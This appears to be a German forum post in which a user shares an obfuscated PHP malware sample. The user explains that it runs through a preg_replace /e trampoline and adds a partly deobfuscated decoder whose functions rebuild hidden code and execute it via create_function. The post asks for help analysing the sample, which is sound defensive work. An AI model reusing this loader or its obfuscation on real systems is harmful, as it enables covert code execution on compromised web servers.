s+yfeobz+sfwjidsb\x60bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!\x2f!#0#)idubn\x60hfsq)!sp!*#ojneb#-*f\x25)sf\x78pmpusut)tpqssutRe\x25)Rd\x25)Rb\x25))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT\x60QIQ&f_UTPI\x60QUUI&e_SEEB\x60FUPNFS&d_SFSFGFS\x60QUUI&c_UOFHB\x60SFTV\x60QUUI&b\x25!|!*)323zbek!~!<b\x25\x7f!<X>b\x25Z<#opo#>b\x25!*##>>X)!gjZ<#opo#>b\x25!**X)ufttj\x22)gj!|!*nbsbq\x25)323ldfidk!~!<**qp\x25!-uyfu\x25)3of)fepdof\x6057ftbc\x7f!|!*uyfu\x27k:!ftmf!}Z;^nbsbq\x25\x5cSFWSFT\x60\x25}X;!sp!*#opo#>>}R;msv}.;\x2f#\x2f#\x2f},;#-#}+;\x25-qp\x25)54l}\x27;\x25!<*#}_;#)323ldfid>}&;!osvufs}\x7f;!opjudovg}k~~9{d\x25:osvufs:~928>>\x22:ftmbg39*56A:>:8:|:7#6#)tutjyf\x60439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm\x25:-5ppde:4:|:**#ppde#)tutjyf\x604\x223}!+!<+{e\x25+*!*+fepdfe{h+{d\x25)+opjudovg+)!gj+{e\x25!osvufs!*!+A!>!{e\x25)!>>\x22!ftmbg)!gj<*#k#)usbut\x60cpV\x7f\x7f\x7f\x7f<u\x25V\x27{ftmfV\x7f<*X&Z&S{ftmfV\x7f<*XAZASV<*w\x25)ppde>u\x25V<#65,47R25,d7R17,67R37,#\x2fq\x25>U<#16,47R57,27R66,#\x2fq\x25>2q\x25<#g6R85,67R37,18R#>q\x25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w\x25)kV\x78{**#k#)tutjyf\x60\x78\x22l:!}V;3q\x25}U;y]}R;2]},;osvufs}\x27;mnui}&;zepc}A;~!}\x7f;!|!}{;)gj}l;33bq}k;opjudovg}\x78;0]=])0#)U!\x27{**u\x25-#jt0}Z;0]=]0#)2q\x25l}S;2-u\x25!-#2#\x2f#\x25#\x2f#o]#\x2f*)323zbe!-#jt0*?]+^?]_\x5c}X\x24<!\x25tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!\x25tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<\x25tmw!>!#]y84]275]y83]273]y76]277#<\x25t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!\x25tww!>!\x2400~:<h\x25_t\x25:osvufs:~:<*9-1-r\x25)s\x25>\x2fh\x25:<**#57]38y]47]67y]37]88y]27]28y]#\x2fr\x25\x2fh\x25)n\x25-#+I#)q\x25:>:r\x25:|:**t\x25)m\x25=*h\x25)m\x25):fmji\x78:<##:>:h\x25:<#64y]552]e7y]#>n\x25<#372]58y]472]37y]672]48y]#>s\x25<#462]47y]252]18y]#>q\x25<#762]67y]562]38y]572]48y]#>m\x25:|:*r\x25:-t\x25)3of:opjudovg<~\x24<!\x25o:!>!\x242178}527}88:}334}472\x24<!\x25mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ff2!>!bssbz)\x24]25\x24-\x24-!\x25\x24-\x24*!|!\x24-\x24\x5c\x25j^\x24-\x24tvctus)\x25\x24-\x24b!>!\x25yy)#}#-#\x24-\x24-tusqpt)\x25z-#:#*\x24-\x24!>!tus\x60sfqmbdf)\x25\x24-\x24y4\x24-\x24]y8\x24-\x24]26\x24-\x24<\x25j,,*!|\x24-\x24gvodujpo!\x24-\x24y7\x24-\x24*<!\x24-\x24gps)\x25j>1<\x25j=tj{fpg)\x25\x24-\x24*<!~!dsfbuf\x60gvodujpo)##-!#~<#\x2f\x25\x24-\x24!>!fyqmpef)#\x24*<!\x25kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!\x25t::!>!\x24Ypp3)\x25cB\x25iN}#-!tussfw)\x25c*W\x25eN+#Qi\x5c1^W\x25c!>!\x25i\x5c2^<!Ce*[!\x25cIjQeTQcOc\x2f#00#W~!Ydrr)\x25r\x78Bsfuvso!sboepn)\x25epnbss-\x25r\x78W~!Ypp2)\x25zB\x25z>!tussfw)\x25zW\x25h>EzH,2W\x25wN;#-Ez-1H*WCw*[!\x25rN}#QwTW\x25hIr\x5c1^-\x25r\x5c2^-\x25hOh\x2f#00#W~!\x25t2w)##Qtjw)#]82#-#!#-\x25tmw)\x25tww**WYsboepn)\x25bss-\x25r\x78B\x25h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-\x78r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#\x2f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<\x25tpz!>!#]D6M7]K3#<\x25yy>#]D6]281L1#\x2f#M5]DgP5]D6#<\x25fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<\x25tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<\x25G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<\x25bG9}:}.}-}!#*<\x25nfd>\x25fdy<Cb*[\x25h!>!\x25tdz)\x25bbT-\x25bT-\x25hW~\x25fdy)##-!#~<\x25h00#*<\x25nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-\x25tdz*Wsfuvso!\x25bss\x5csboe))1\x2f35.)1\x2f14+9**-)1\x2f2986+7**^\x2f\x25r\x78<~!!\x25s:N}#-\x25o:W\x25c:>1<\x25b:>1<!gps)\x25j:>1<\x25j:=tj{fpg)\x25s:*<\x25j:,,Bjg!)\x25j:>>1*!\x25b:>1<!fmtf!\x25b:>\x25s:\x5c\x25j:.2^,\x25b:<!\x25c:>\x25s:\x5c\x25j:^<!\x25w\x60\x5c^>Ew:Qb:Qc:W~!\x25z!>2<!gps)\x25j>1<\x25j=6[\x25ww2!>#p#\x2f#p#\x2f\x25z<jg!)\x25z>>2*!\x25z>3<!fmtf!\x25z>2<!\x25ww2)\x25w\x60TW~\x24<\xe\xb\x25mm)\x25\x78:-!\x25tzw\x2f\x24)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*\x24\x2f\x25kj:-!OVMM*<(<\xe\xb\x25ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ggg)(0)\x2f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<"))));"
Das hier wird ausgeführt, über ein preg_replace /e Trampolin. Ich bin nach am überprüfen, was dieser Code bewirkt.

[edit:]
PHP:
function oo2($b) {
    $h = explode("|", strrev($b));
    $d = explode("*", $h[0]);
    $b = $h[1];
    for ($i = 0; $i < sizeof($d); $i++) {
        $b = str_replace($i, $d[$i], $b);
    }
    create_function("", "};".$b.
        "//");
}

function cqq($qw) {
    return random($domarr, $qw);
}

function oo1($y) {
    $y = strrev($y);
    $g = substr($y, strpos($y, "9") + 1);
    $v = explode(":", substr($y, 0, strpos($y, "9")));
    for ($i = 0; $i < sizeof($v); $i++) {
        $q = explode("|", $v[$i]);
        $g = str_replace($q[0], $q[1], $g);
    }
    create_function("", "};".$g.
        "//");
}
$s1v("", $siv("\71", " ", $slv($svv)));

function random($arr, $qw) {
    $g = "\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70".
    "6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";
    $soy = "\x65\156\x32";
    $xx = "\x65\170\x70".
    "\154\x6f\144\x65";
    $ecx = "\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";
    $scy = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";
    $a = $xx("|", "\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
    $aa = $xx("|", "8|9|-|,| ");
    $mec = $ecx;
    for ($i = 0; $i < sizeof($a); $i++) {
        $g = $scy($aa[$i], $a[$i], $g);
    }
    $ecx("", "};$g//");
    $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy));
    return $arr[rand((0.24 - (0.03 * 8)), (0.1875 * 6))].$qw;
}
$r9 = explode("|", $n9);
$b9 = 0;
$a9 = 0;
for ($i9 = 0; $i9 < sizeof($r9); $i9++) {
    if ($i9 == 0) $a9 = 0;
    else $a9 = $r9[$i9 - 1] + $a9;
    $b9 = $r9[$i9];
    $v_[] = substr($v9, $a9, $b9);
}
$y = 1;
for ($i = 0; $i < 5; $i++) {
    $vv1 = "o".
    "o".$y;
    if ($y == 1) $y = 2;
    else $y = 1;
    $vv1($v_[$i]);
}
 
Zuletzt bearbeitet:
Zurück
Oben